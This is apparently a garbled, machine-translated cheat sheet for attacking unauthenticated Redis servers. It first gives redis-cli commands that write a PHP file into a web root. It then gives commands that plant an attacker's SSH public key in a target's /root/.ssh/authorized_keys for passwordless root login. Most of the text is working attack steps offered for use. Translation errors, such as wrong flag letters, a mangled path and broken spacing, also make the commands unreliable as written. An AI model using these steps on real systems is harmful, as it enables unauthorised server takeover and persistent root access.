REDIS-CLI Parameters:
-H: Specifies the host IP or domain name to connect to
-P: Specify the port of the connection
-A: Specify password
-r: Executes the specified command
-N: Database name
-X: Outputs the last parameter as value
Redis Write Shell-----port 6379 redis-cli-h 127.0.0.1
Config set dir ar/www/webroot/
Config set Dbfilename redis.php
Set Webshell "<?php phpinfo ();? > "
Save
Ssh-keygen-t rsa-p ""-p means login password
scp/root/.ssh/id_rsa.pub [Email Protected]:/root/.ssh/authorized_keys
chmod Authorized_keys
Export Id_ras.pub
(echo-e "\ n"; Cat id_rsa.pub; echo-e "\ n") > Key.txt
Redis connected to target 192.168.199.166 by the-x parameter, Key.txt is set to the value of key "Crackit", which actually has a key-value on the other side's database.
Cat Key.txt | Redis-cli-h 192.168.199.166-x Set Crackit
Redis-cli-h 192.168.199.166 # Redis that connects to the target host
Config get dir #获取redis的备份路径
Config set dir/root/.ssh #设置数据库的备份路径
Config set dbfilename Authorized_keys #设置备份的数据库名称为authorized_keys
Config get Dbfilename # to see if the database name is set correctly
Key * #查看我们的key是否成功创建
Save # Saves data to the hard disk
Redis write shell and ssh password-free login